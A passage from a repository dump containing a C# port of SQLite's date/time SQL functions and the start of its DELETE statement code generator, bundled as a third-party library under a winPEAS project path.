0.0;\n            p.validTZ = 0;\n            p.validJD = 0;\n            if ( z.ToString() == \"month\" )\n            {\n              p.D = 1;\n              rc = 0;\n            }\n            else if ( z.ToString() == \"year\" )\n            {\n              computeYMD( p );\n              p.M = 1;\n              p.D = 1;\n              rc = 0;\n            }\n            else if ( z.ToString() == \"day\" )\n            {\n              rc = 0;\n            }\n            break;\n          }\n        case '+':\n        case '-':\n        case '0':\n        case '1':\n        case '2':\n        case '3':\n        case '4':\n        case '5':\n        case '6':\n        case '7':\n        case '8':\n        case '9':\n          {\n            double rRounder;\n            n = sqlite3AtoF( z.ToString(), ref r );//getValue( z, ref r );\n            Debug.Assert( n >= 1 );\n            if ( z[n] == ':' )\n            {\n              /* A modifier of the form (+|-)HH:MM:SS.FFF adds (or subtracts) the\n              ** specified number of hours, minutes, seconds, and fractional seconds\n              ** to the time.  The \".FFF\" may be omitted.  The \":SS.FFF\" may be\n              ** omitted.\n              */\n              string z2 = z.ToString();\n              DateTime tx;\n              sqlite3_int64 day;\n              int z2Index = 0;\n              if ( !sqlite3Isdigit( z2[z2Index] ) ) z2Index++;// z2++;\n              tx = new DateTime();// memset( &tx, 0, sizeof(tx));\n              if ( parseHhMmSs( z2.Substring( z2Index ), tx ) != 0 ) break;\n              computeJD( tx );\n              tx.iJD -= 43200000;\n              day = tx.iJD / 86400000;\n              tx.iJD -= day * 86400000;\n              if ( z[0] == '-' ) tx.iJD = -tx.iJD;\n              computeJD( p );\n              clearYMD_HMS_TZ( p );\n              p.iJD += tx.iJD;\n              rc = 0;\n              break;\n            }\n            //z += n;\n            while ( sqlite3Isspace( z[n] ) ) n++;// z++;\n            z = z.Remove( 0, n );\n            n = sqlite3Strlen30( z );\n            if ( n > 10 || n < 3 ) break;\n            if ( z[n - 1] == 's' ) { z.Length = --n; }// z[n - 1] = '\\0'; n--; }\n            computeJD( p );\n            rc = 0;\n            rRounder = r < 0 ? -0.5 : +0.5;\n            if ( n == 3 && z.ToString() == \"day\" )\n            {\n              p.iJD += (long)( r * 86400000.0 + rRounder );\n            }\n            else if ( n == 4 && z.ToString() == \"hour\" )\n            {\n              p.iJD += (long)( r * ( 86400000.0 / 24.0 ) + rRounder );\n            }\n            else if ( n == 6 && z.ToString() == \"minute\" )\n            {\n              p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 ) ) + rRounder );\n            }\n            else if ( n == 6 && z.ToString() == \"second\" )\n            {\n              p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 * 60.0 ) ) + rRounder );\n            }\n            else if ( n == 5 && z.ToString() == \"month\" )\n            {\n              int x, y;\n              computeYMD_HMS( p );\n              p.M += (int)r;\n              x = p.M > 0 ? ( p.M - 1 ) / 12 : ( p.M - 12 ) / 12;\n              p.Y += x;\n              p.M -= x * 12;\n              p.validJD = 0;\n              computeJD( p );\n              y = (int)r;\n              if ( y != r )\n              {\n                p.iJD += (long)( ( r - y ) * 30.0 * 86400000.0 + rRounder );\n              }\n            }\n            else if ( n == 4 && z.ToString() == \"year\" )\n            {\n              int y = (int)r;\n              computeYMD_HMS( p );\n              p.Y += y;\n              p.validJD = 0;\n              computeJD( p );\n              if ( y != r )\n              {\n                p.iJD += (sqlite3_int64)( ( r - y ) * 365.0 * 86400000.0 + rRounder );\n              }\n            }\n            else\n            {\n              rc = 1;\n            }\n            clearYMD_HMS_TZ( p );\n            break;\n          }\n        default:\n          {\n            break;\n          }\n      }\n      return rc;\n    }\n\n    /*\n    ** Process time function arguments.  argv[0] is a date-time stamp.\n    ** argv[1] and following are modifiers.  Parse them all and write\n    ** the resulting time into the DateTime structure p.  Return 0\n    ** on success and 1 if there are any errors.\n    **\n    ** If there are zero parameters (if even argv[0] is undefined)\n    ** then assume a default value of \"now\" for argv[0].\n    */\n    static int isDate(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv,\n    ref  DateTime p\n    )\n    {\n      int i;\n      string z;\n      int eType;\n      p = new DateTime();//memset(p, 0, sizeof(*p));\n      if ( argc == 0 )\n      {\n        setDateTimeToCurrent( context, p );\n      }\n      else if ( ( eType = sqlite3_value_type( argv[0] ) ) == SQLITE_FLOAT\n      || eType == SQLITE_INTEGER )\n      {\n        p.iJD = (long)( sqlite3_value_double( argv[0] ) * 86400000.0 + 0.5 );\n        p.validJD = 1;\n      }\n      else\n      {\n        z = sqlite3_value_text( argv[0] );\n        if ( String.IsNullOrEmpty( z ) || parseDateOrTime( context, z, ref p ) != 0 )\n        {\n          return 1;\n        }\n      }\n      for ( i = 1 ; i < argc ; i++ )\n      {\n        if ( String.IsNullOrEmpty( z = sqlite3_value_text( argv[i] ) ) || parseModifier( z, p ) != 0 )\n        {\n          return 1;\n        }\n      }\n      return 0;\n    }\n\n\n    /*\n    ** The following routines implement the various date and time functions\n    ** of SQLite.\n    */\n\n    /*\n    **    julianday( TIMESTRING, MOD, MOD, ...)\n    **\n    ** Return the julian day number of the date specified in the arguments\n    */\n    static void juliandayFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      DateTime x = null;\n      if ( isDate( context, argc, argv, ref x ) == 0 )\n      {\n        computeJD( x );\n        sqlite3_result_double( context, x.iJD / 86400000.0 );\n      }\n    }\n\n    /*\n    **    datetime( TIMESTRING, MOD, MOD, ...)\n    **\n    ** Return YYYY-MM-DD HH:MM:SS\n    */\n    static void datetimeFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      DateTime x = null;\n      if ( isDate( context, argc, argv, ref x ) == 0 )\n      {\n        string zBuf = \"\";//[100];\n        computeYMD_HMS( x );\n        sqlite3_snprintf( 100, ref zBuf, \"%04d-%02d-%02d %02d:%02d:%02d\",\n        x.Y, x.M, x.D, x.h, x.m, (int)( x.s ) );\n        sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT );\n      }\n    }\n\n    /*\n    **    time( TIMESTRING, MOD, MOD, ...)\n    **\n    ** Return HH:MM:SS\n    */\n    static void timeFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      DateTime x = new DateTime();\n      if ( isDate( context, argc, argv, ref x ) == 0 )\n      {\n        string zBuf = \"\";//[100];\n        computeHMS( x );\n        sqlite3_snprintf( 100, ref zBuf, \"%02d:%02d:%02d\", x.h, x.m, (int)x.s );\n        sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT );\n      }\n    }\n\n    /*\n    **    date( TIMESTRING, MOD, MOD, ...)\n    **\n    ** Return YYYY-MM-DD\n    */\n    static void dateFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      DateTime x = null;\n      if ( isDate( context, argc, argv, ref x ) == 0 )\n      {\n        string zBuf = \"\";//[100];\n        computeYMD( x );\n        sqlite3_snprintf( 100, ref zBuf, \"%04d-%02d-%02d\", x.Y, x.M, x.D );\n        sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT );\n      }\n    }\n\n    /*\n    **    strftime( FORMAT, TIMESTRING, MOD, MOD, ...)\n    **\n    ** Return a string described by FORMAT.  Conversions as follows:\n    **\n    **   %d  day of month\n    **   %f  ** fractional seconds  SS.SSS\n    **   %H  hour 00-24\n    **   %j  day of year 000-366\n    **   %J  ** Julian day number\n    **   %m  month 01-12\n    **   %M  minute 00-59\n    **   %s  seconds since 1970-01-01\n    **   %S  seconds 00-59\n    **   %w  day of week 0-6  sunday==0\n    **   %W  week of year 00-53\n    **   %Y  year 0000-9999\n    **   %%  %\n    */\n    static void strftimeFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      {\n        DateTime x = new DateTime();\n        u64 n;\n        int i, j;\n        StringBuilder z;\n        sqlite3 db;\n        string zFmt = sqlite3_value_text( argv[0] );\n        StringBuilder zBuf = new StringBuilder( 100 );\n        sqlite3_value[] argv1 = new sqlite3_value[argc - 1];\n        for ( i = 0 ; i < argc - 1 ; i++ ) { argv1[i] = new sqlite3_value(); argv[i + 1].CopyTo( argv1[i] ); }\n        if ( String.IsNullOrEmpty( zFmt ) || isDate( context, argc - 1, argv1, ref x ) != 0 ) return;\n        db = sqlite3_context_db_handle( context );\n        for ( i = 0, n = 1 ; i < zFmt.Length ; i++, n++ )\n        {\n          if ( zFmt[i] == '%' )\n          {\n            switch ( (char)zFmt[i + 1] )\n            {\n              case 'd':\n              case 'H':\n              case 'm':\n              case 'M':\n              case 'S':\n              case 'W':\n                n++;\n                break;\n              /* fall thru */\n              case 'w':\n              case '%':\n                break;\n              case 'f':\n                n += 8;\n                break;\n              case 'j':\n                n += 3;\n                break;\n              case 'Y':\n                n += 8;\n                break;\n              case 's':\n              case 'J':\n                n += 50;\n                break;\n              default:\n                return;  /* ERROR.  return a NULL */\n            }\n            i++;\n          }\n        }\n        testcase( n == (u64)( zBuf.Length - 1 ) );\n        testcase( n == (u64)zBuf.Length );\n        testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] + 1 );\n        testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] );\n        if ( n < (u64)zBuf.Capacity )\n        {\n          z = zBuf;\n        }\n        else if ( n > (u64)db.aLimit[SQLITE_LIMIT_LENGTH] )\n        {\n          sqlite3_result_error_toobig( context );\n          return;\n        }\n        else\n        {\n          z = new StringBuilder( (int)n );// sqlite3DbMallocRaw( db, n );\n          //if ( z == 0 )\n          //{\n          //  sqlite3_result_error_nomem( context );\n          //  return;\n          //}\n        }\n        computeJD( x );\n        computeYMD_HMS( x );\n        for ( i = j = 0 ; i < zFmt.Length ; i++ )\n        {\n          if ( zFmt[i] != '%' )\n          {\n            z.Append( (char)zFmt[i] );\n          }\n          else\n          {\n            i++;\n            string zTemp = \"\";\n            switch ( (char)zFmt[i] )\n            {\n              case 'd': sqlite3_snprintf( 3, ref zTemp, \"%02d\", x.D ); z.Append( zTemp ); j += 2; break;\n              case 'f':\n                {\n                  double s = x.s;\n                  if ( s > 59.999 ) s = 59.999;\n                  sqlite3_snprintf( 7, ref zTemp, \"%06.3f\", s ); z.Append( zTemp );\n                  j = sqlite3Strlen30( z );\n                  break;\n                }\n              case 'H': sqlite3_snprintf( 3, ref zTemp, \"%02d\", x.h ); z.Append( zTemp ); j += 2; break;\n              case 'W': /* Fall thru */\n              case 'j':\n                {\n                  int nDay;             /* Number of days since 1st day of year */\n                  DateTime y = new DateTime();\n                  x.CopyTo( y );\n                  y.validJD = 0;\n                  y.M = 1;\n                  y.D = 1;\n                  computeJD( y );\n                  nDay = (int)( ( x.iJD - y.iJD + 43200000 ) / 86400000 );\n                  if ( zFmt[i] == 'W' )\n                  {\n                    int wd;   /* 0=Monday, 1=Tuesday, ... 6=Sunday */\n                    wd = (int)( ( ( x.iJD + 43200000 ) / 86400000 ) % 7 );\n                    sqlite3_snprintf( 3, ref zTemp, \"%02d\", ( nDay + 7 - wd ) / 7 ); z.Append( zTemp );\n                    j += 2;\n                  }\n                  else\n                  {\n                    sqlite3_snprintf( 4, ref zTemp, \"%03d\", nDay + 1 ); z.Append( zTemp );\n                    j += 3;\n                  }\n                  break;\n                }\n              case 'J':\n                {\n                  sqlite3_snprintf( 20, ref zTemp, \"%.16g\", x.iJD / 86400000.0 ); z.Append( zTemp );\n                  j = sqlite3Strlen30( z );\n                  break;\n                }\n              case 'm': sqlite3_snprintf( 3, ref zTemp, \"%02d\", x.M ); z.Append( zTemp ); j += 2; break;\n              case 'M': sqlite3_snprintf( 3, ref zTemp, \"%02d\", x.m ); z.Append( zTemp ); j += 2; break;\n              case 's':\n                {\n                  sqlite3_snprintf( 30, ref zTemp, \"%lld\",\n                               (i64)( x.iJD / 1000 - 21086676 * (i64)10000 ) ); z.Append( zTemp );\n                  j = sqlite3Strlen30( z );\n                  break;\n                }\n              case 'S': sqlite3_snprintf( 3, ref zTemp, \"%02d\", (int)x.s ); z.Append( zTemp ); j += 2; break;\n              case 'w':\n                {\n                  z.Append( ( ( ( x.iJD + 129600000 ) / 86400000 ) % 7 ) );\n                  break;\n                }\n              case 'Y':\n                {\n                  sqlite3_snprintf( 5, ref zTemp, \"%04d\", x.Y ); z.Append( zTemp ); j = sqlite3Strlen30( z );\n                  break;\n                }\n              default: z.Append( '%' ); break;\n            }\n          }\n        }\n        //z[j] = 0;\n        sqlite3_result_text( context, z.ToString(), -1,\n        z == zBuf ? SQLITE_TRANSIENT : SQLITE_DYNAMIC );\n      }\n    }\n\n    /*\n    ** current_time()\n    **\n    ** This function returns the same value as time('now').\n    */\n    static void ctimeFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      timeFunc( context, 0, null );\n    }\n\n    /*\n    ** current_date()\n    **\n    ** This function returns the same value as date('now').\n    */\n    static void cdateFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      dateFunc( context, 0, null );\n    }\n\n    /*\n    ** current_timestamp()\n    **\n    ** This function returns the same value as datetime('now').\n    */\n    static void ctimestampFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      datetimeFunc( context, 0, null );\n    }\n#endif // * !SQLITE_OMIT_DATETIME_FUNCS) */\n\n#if  SQLITE_OMIT_DATETIME_FUNCS\n/*\n** If the library is compiled to omit the full-scale date and time\n** handling (to get a smaller binary), the following minimal version\n** of the functions current_time(), current_date() and current_timestamp()\n** are included instead. This is to support column declarations that\n** include \"DEFAULT CURRENT_TIME\" etc.\n**\n** This function uses the C-library functions time(), gmtime()\n** and strftime(). The format string to pass to strftime() is supplied\n** as the user-data for the function.\n*/\n//static void currentTimeFunc(\n//  sqlite3_context *context,\n//  int argc,\n//  sqlite3_value[] argv\n//){\ntime_t t;\nchar *zFormat = (char *)sqlite3_user_data(context);\nsqlite3 db;\ndouble rT;\nchar zBuf[20];\nUNUSED_PARAMETER(argc);\nUNUSED_PARAMETER(argv);\ndb = sqlite3_context_db_handle(context);\nsqlite3OsCurrentTime(db.pVfs, rT);\n#if !SQLITE_OMIT_FLOATING_POINT\nt = 86400.0*(rT - 2440587.5) + 0.5;\n#else\n/* without floating point support, rT will have\n** already lost fractional day precision.\n*/\nt = 86400 * (rT - 2440587) - 43200;\n#endif\n#if HAVE_GMTIME_R\n//  {\n//    struct tm sNow;\n//    gmtime_r(&t, sNow);\n//    strftime(zBuf, 20, zFormat, sNow);\n//  }\n#else\n//  {\n//    struct tm pTm;\n//    sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER));\n//    pTm = gmtime(&t);\n//    strftime(zBuf, 20, zFormat, pTm);\n//    sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER));\n//  }\n#endif\n\n//  sqlite3_result_text(context, zBuf, -1, SQLITE_TRANSIENT);\n//}\n#endif\n\n\n    /*\n** This function registered all of the above C functions as SQL\n** functions.  This should be the only routine in this file with\n** external linkage.\n*/\n    static void sqlite3RegisterDateTimeFunctions()\n    {\n      FuncDef[] aDateTimeFuncs = new FuncDef[]  {\n#if !SQLITE_OMIT_DATETIME_FUNCS\nFUNCTION(\"julianday\",        -1, 0, 0, (dxFunc)juliandayFunc ),\nFUNCTION(\"date\",             -1, 0, 0, (dxFunc)dateFunc      ),\nFUNCTION(\"time\",             -1, 0, 0, (dxFunc)timeFunc      ),\nFUNCTION(\"datetime\",         -1, 0, 0, (dxFunc)datetimeFunc  ),\nFUNCTION(\"strftime\",         -1, 0, 0, (dxFunc)strftimeFunc  ),\nFUNCTION(\"current_time\",      0, 0, 0, (dxFunc)ctimeFunc     ),\nFUNCTION(\"current_timestamp\", 0, 0, 0, (dxFunc)ctimestampFunc),\nFUNCTION(\"current_date\",      0, 0, 0, (dxFunc)cdateFunc     ),\n#else\nSTR_FUNCTION(\"current_time\",      0, \"%H:%M:%S\",          0, currentTimeFunc),\nSTR_FUNCTION(\"current_timestamp\", 0, \"%Y-%m-%d\",          0, currentTimeFunc),\nSTR_FUNCTION(\"current_date\",      0, \"%Y-%m-%d %H:%M:%S\", 0, currentTimeFunc),\n#endif\n};\n      int i;\n#if SQLITE_OMIT_WSD\nFuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions );\nFuncDef[] aFunc = (FuncDef)GLOBAL( FuncDef, aDateTimeFuncs );\n#else\n      FuncDefHash pHash = sqlite3GlobalFunctions;\n      FuncDef[] aFunc = aDateTimeFuncs;\n#endif\n      for ( i = 0 ; i < ArraySize( aDateTimeFuncs ) ; i++ )\n      {\n        sqlite3FuncDefInsert( pHash, aFunc[i] );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/delete_c.cs",
    "content": "using System.Diagnostics;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that are called by the parser\n    ** in order to generate code for DELETE FROM statements.\n    **\n    ** $Id: delete.c,v 1.207 2009/08/08 18:01:08 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Look up every table that is named in pSrc.  If any table is not found,\n    ** add an error message to pParse.zErrMsg and return NULL.  If all tables\n    ** are found, return a pointer to the last table.\n    */\n    static Table sqlite3SrcListLookup( Parse pParse, SrcList pSrc )\n    {\n      SrcList_item pItem = pSrc.a[0];\n      Table pTab;\n      Debug.Assert( pItem != null && pSrc.nSrc == 1 );\n      pTab = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase );\n      sqlite3DeleteTable( ref pItem.pTab );\n      pItem.pTab = pTab;\n      if ( pTab != null )\n      {\n        pTab.nRef++;\n      }\n      if ( sqlite3IndexedByLookup( pParse, pItem ) != 0 )\n      {\n        pTab = null;\n      }\n      return pTab;\n    }\n\n    /*\n    ** Check to make sure the given table is writable.  If it is not\n    ** writable, generate an error message and return 1.  If it is\n    ** writable return 0;\n    */\n    static bool sqlite3IsReadOnly( Parse pParse, Table pTab, int viewOk )\n    {\n      /* A table is not writable under the following circumstances:\n      **\n      **   1) It is a virtual table and no implementation of the xUpdate method\n      **      has been provided, or\n      **   2) It is a system table (i.e. sqlite_master), this call is not\n      **      part of a nested parse and writable_schema pragma has not\n      **      been specified.\n      **\n      ** In either case leave an error message in pParse and return non-zero.\n      */\n      if (\n         ( IsVirtual( pTab )\n          && sqlite3GetVTable( pParse.db, pTab ).pMod.pModule.xUpdate == null )\n        || ( ( pTab.tabFlags & TF_Readonly ) != 0\n      && ( pParse.db.flags & SQLITE_WriteSchema ) == 0\n      && pParse.nested == 0 )\n      )\n      {\n        sqlite3ErrorMsg( pParse, \"table %s may not be modified\", pTab.zName );\n        return true;\n      }\n\n#if !SQLITE_OMIT_VIEW\n      if ( viewOk == 0 && pTab.pSelect != null )\n      {\n        sqlite3ErrorMsg( pParse, \"cannot modify %s because it is a view\", pTab.zName );\n        return true;\n      }\n#endif\n      return false;\n    }\n\n\n#if !SQLITE_OMIT_VIEW && !SQLITE_OMIT_TRIGGER\n    /*\n** Evaluate a view and store its result in an ephemeral table.  The\n** pWhere argument is an optional WHERE clause that restricts the\n** set of rows in the view that are to be added to the ephemeral table.\n*/\n    static void sqlite3MaterializeView(\n    Parse pParse,      /* Parsing context */\n    Table pView,       /* View definition */\n    Expr pWhere,       /* Optional WHERE clause to be added */\n    int iCur           /* VdbeCursor number for ephemerial table */\n    )\n    {\n      SelectDest dest = new SelectDest();\n      Select pDup;\n      sqlite3 db = pParse.db;\n\n      pDup = sqlite3SelectDup( db, pView.pSelect, 0 );\n      if ( pWhere != null )\n      {\n        SrcList pFrom;\n\n        pWhere = sqlite3ExprDup( db, pWhere, 0 );\n        pFrom = sqlite3SrcListAppend( db, null, null, null );\n        //if ( pFrom != null )\n        //{\n          Debug.Assert( pFrom.nSrc == 1 );\n          pFrom.a[0].zAlias = pView.zName;// sqlite3DbStrDup( db, pView.zName );\n          pFrom.a[0].pSelect = pDup;\n          Debug.Assert( pFrom.a[0].pOn == null );\n          Debug.Assert( pFrom.a[0].pUsing == null );\n        //}\n        //else\n        //{\n        //  sqlite3SelectDelete( db, ref pDup );\n        //}\n        pDup = sqlite3SelectNew( pParse, null, pFrom, pWhere, null, null, null, 0, null, null );\n      }\n      sqlite3SelectDestInit( dest, SRT_EphemTab, iCur );\n      sqlite3Select( pParse, pDup, ref dest );\n      sqlite3SelectDelete( db, ref pDup );\n    }\n#endif //* !SQLITE_OMIT_VIEW) && !SQLITE_OMIT_TRIGGER) */\n\n#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY)\n/*\n** Generate an expression tree to implement the WHERE, ORDER BY,\n** and LIMIT/OFFSET portion of DELETE and UPDATE statements.\n**\n**     DELETE FROM table_wxyz WHERE a<5 ORDER BY a LIMIT 1;\n**                            \\__________________________/\n**                               pLimitWhere (pInClause)\n*/\nExpr sqlite3LimitWhere(\nParse pParse,               /* The parser context */\nSrcList pSrc,               /* the FROM clause -- which tables to scan */\nExpr pWhere,                /* The WHERE clause.  May be null */\nExprList pOrderBy,          /* The ORDER BY clause.  May be null */\nExpr pLimit,                /* The LIMIT clause.  May be null */\nExpr pOffset,               /* The OFFSET clause.  May be null */\nchar zStmtType              /* Either DELETE or UPDATE.  For error messages. */\n){\nExpr pWhereRowid = null;    /* WHERE rowid .. */\nExpr pInClause = null;      /* WHERE rowid IN ( select ) */\nExpr pSelectRowid = null;   /* SELECT rowid ... */\nExprList pEList = null;     /* Expression list contaning only pSelectRowid */\nSrcList pSelectSrc = null;  /* SELECT rowid FROM x ... (dup of pSrc) */\nSelect pSelect = null;      /* Complete SELECT tree */\n\n/* Check that there isn't an ORDER BY without a LIMIT clause.\n*/\nif( pOrderBy!=null && (pLimit == null) ) {\nsqlite3ErrorMsg(pParse, \"ORDER BY without LIMIT on %s\", zStmtType);\npParse.parseError = 1;\ngoto limit_where_cleanup_2;\n}\n\n/* We only need to generate a select expression if there\n** is a limit/offset term to enforce.\n*/\nif ( pLimit == null )\n{\n/* if pLimit is null, pOffset will always be null as well. */\nDebug.Assert( pOffset == null );\nreturn pWhere;\n}\n\n/* Generate a select expression tree to enforce the limit/offset\n** term for the DELETE or UPDATE statement.  For example:\n**   DELETE FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1\n** becomes:\n**   DELETE FROM table_a WHERE rowid IN (\n**     SELECT rowid FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1\n**   );\n*/\n\npSelectRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null );\nif( pSelectRowid == null ) goto limit_where_cleanup_2;\npEList = sqlite3ExprListAppend( pParse, null, pSelectRowid);\nif( pEList == null ) goto limit_where_cleanup_2;\n\n/* duplicate the FROM clause as it is needed by both the DELETE/UPDATE tree\n** and the SELECT subtree. */\npSelectSrc = sqlite3SrcListDup(pParse.db, pSrc,0);\nif( pSelectSrc == null ) {\nsqlite3ExprListDelete(pParse.db, pEList);\ngoto limit_where_cleanup_2;\n}\n\n/* generate the SELECT expression tree. */\npSelect = sqlite3SelectNew( pParse, pEList, pSelectSrc, pWhere, null, null,\npOrderBy, 0, pLimit, pOffset );\nif( pSelect == null ) return null;\n\n/* now generate the new WHERE rowid IN clause for the DELETE/UDPATE */\npWhereRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null );\nif( pWhereRowid == null ) goto limit_where_cleanup_1;\npInClause = sqlite3PExpr( pParse, TK_IN, pWhereRowid, null, null );\nif( pInClause == null ) goto limit_where_cleanup_1;\n\npInClause->x.pSelect = pSelect;\npInClause->flags |= EP_xIsSelect;\nsqlite3ExprSetHeight(pParse, pInClause);\nreturn pInClause;\n\n/* something went wrong. clean up anything allocated. */\nlimit_where_cleanup_1:\nsqlite3SelectDelete(pParse.db, pSelect);\nreturn null;\n\nlimit_where_cleanup_2:\nsqlite3ExprDelete(pParse.db, ref pWhere);\nsqlite3ExprListDelete(pParse.db, pOrderBy);\nsqlite3ExprDelete(pParse.db, ref pLimit);\nsqlite3ExprDelete(pParse.db, ref pOffset);\nreturn null;\n}\n#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) */\n\n    /*\n** Generate code for a DELETE FROM statement.\n**\n**     DELETE FROM table_wxyz WHERE a<5 AND b NOT NULL;\n**                 \\________/       \\________________/\n**                  pTabList              pWhere\n*/\n    static void sqlite3DeleteFrom(\n    Parse pParse,          /* The parser context */\n    SrcList pTabList,      /* The table from which we should delete things */\n    Expr pWhere            /* The WHERE clause.  May be null */\n    )\n    {\n      Vdbe v;                /* The virtual database engine */\n      Table pTab;            /* The table from which records will be deleted */\n      string zDb;            /* Name of database holding pTab */\n      int end, addr = 0;     /* A couple addresses of generated code */\n      int i;                 /* Loop counter */\n      WhereInfo pWInfo;      /* Information about the WHERE clause */\n      Index pIdx;            /* For looping over indices of the table */\n      int iCur;              /* VDBE VdbeCursor number for pTab */\n      sqlite3 db;            /* Main database structure */\n      AuthContext sContext;  /* Authorization context */\n      int oldIdx = -1;       /* VdbeCursor for the OLD table of AFTER triggers */\n      NameContext sNC;       /* Name context to resolve expressions in */\n      int iDb;               /* Database number */\n      int memCnt = -1;        /* Memory cell used for change counting */\n      int rcauth;            /* Value returned by authorization callback */\n\n#if !SQLITE_OMIT_TRIGGER\n      bool isView;                 /* True if attempting to delete from a view */\n      Trigger pTrigger;            /* List of table triggers, if required */\n#endif\n      int iBeginAfterTrigger = 0;      /* Address of after trigger program */\n      int iEndAfterTrigger = 0;        /* Exit of after trigger program */\n      int iBeginBeforeTrigger = 0;     /* Address of before trigger program */\n      int iEndBeforeTrigger = 0;       /* Exit of before trigger program */\n      u32 old_col_mask = 0;        /* Mask of OLD.* columns in use */\n\n      sContext = new AuthContext();//memset(&sContext, 0, sizeof(sContext));\n\n      db = pParse.db;\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ )\n      {\n        goto delete_from_cleanup;\n      }\n      Debug.Assert( pTabList.nSrc == 1 );\n\n      /* Locate the table which we want to delete.  This table has to be\n      ** put in an SrcList structure because some of the subroutines we\n      ** will be calling are designed to work with multiple tables and expect\n      ** an SrcList* parameter instead of just a Table* parameter.\n      */\n      pTab = sqlite3SrcListLookup( pParse, pTabList );\n      if ( pTab == null ) goto delete_from_cleanup;\n\n      /* Figure out if we have any triggers and if the table being\n      ** deleted from is a view\n      */\n#if !SQLITE_OMIT_TRIGGER\n      int iDummy = 0;\n      pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, ref iDummy );\n      isView = pTab.pSelect != null;\n#else\nconst Trigger pTrigger = null;\nisView = false;\n#endif\n#if SQLITE_OMIT_VIEW\n//# undef isView\nisView = false;\n#endif\n\n      /* If pTab is really a view, make sure it has been initialized.\n*/\n      if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 )\n      {\n        goto delete_from_cleanup;\n      }\n\n      if ( sqlite3IsReadOnly( pParse, pTab, ( pTrigger != null ? 1 : 0 ) ) )\n      {\n        goto delete_from_cleanup;\n      }\n      iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n      Debug.Assert( iDb < db.nDb );\n      zDb = db.aDb[iDb].zName;\n#if !SQLITE_OMIT_AUTHORIZATION\nrcauth = sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab->zName, 0, zDb);\n#else\n      rcauth = SQLITE_OK;\n#endif\n      Debug.Assert( rcauth == SQLITE_OK || rcauth == SQLITE_DENY || rcauth == SQLITE_IGNORE );\n      if ( rcauth == SQLITE_DENY )\n      {\n        goto delete_from_cleanup;\n      }\n      Debug.Assert( !isView || pTrigger != null );\n\n      /* Allocate a cursor used to store the old.* data for a trigger.\n      */\n      if ( pTrigger != null )\n      {\n        oldIdx = pParse.nTab++;\n      }\n\n      /* Assign  cursor number to the table and all its indices.\n      */\n      Debug.Assert( pTabList.nSrc == 1 );\n      iCur = pTabList.a[0].iCursor = pParse.nTab++;\n      for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n      {\n        pParse.nTab++;\n      }\n\n#if !SQLITE_OMIT_AUTHORIZATION\n/* Start the view context\n*/\nif( isView ){\nsqlite3AuthContextPush(pParse, sContext, pTab.zName);\n}\n#endif\n      /* Begin generating code.\n*/\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null )\n      {\n        goto delete_from_cleanup;\n      }\n      if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v );\n      sqlite3BeginWriteOperation( pParse, pTrigger != null ? 1 : 0, iDb );\n\n#if !SQLITE_OMIT_TRIGGER\n      if ( pTrigger != null )\n      {\n        int orconf = ( ( pParse.trigStack != null ) ? pParse.trigStack.orconf : OE_Default );\n        int iGoto = sqlite3VdbeAddOp0( v, OP_Goto );\n        addr = sqlite3VdbeMakeLabel( v );\n\n        iBeginBeforeTrigger = sqlite3VdbeCurrentAddr( v );\n        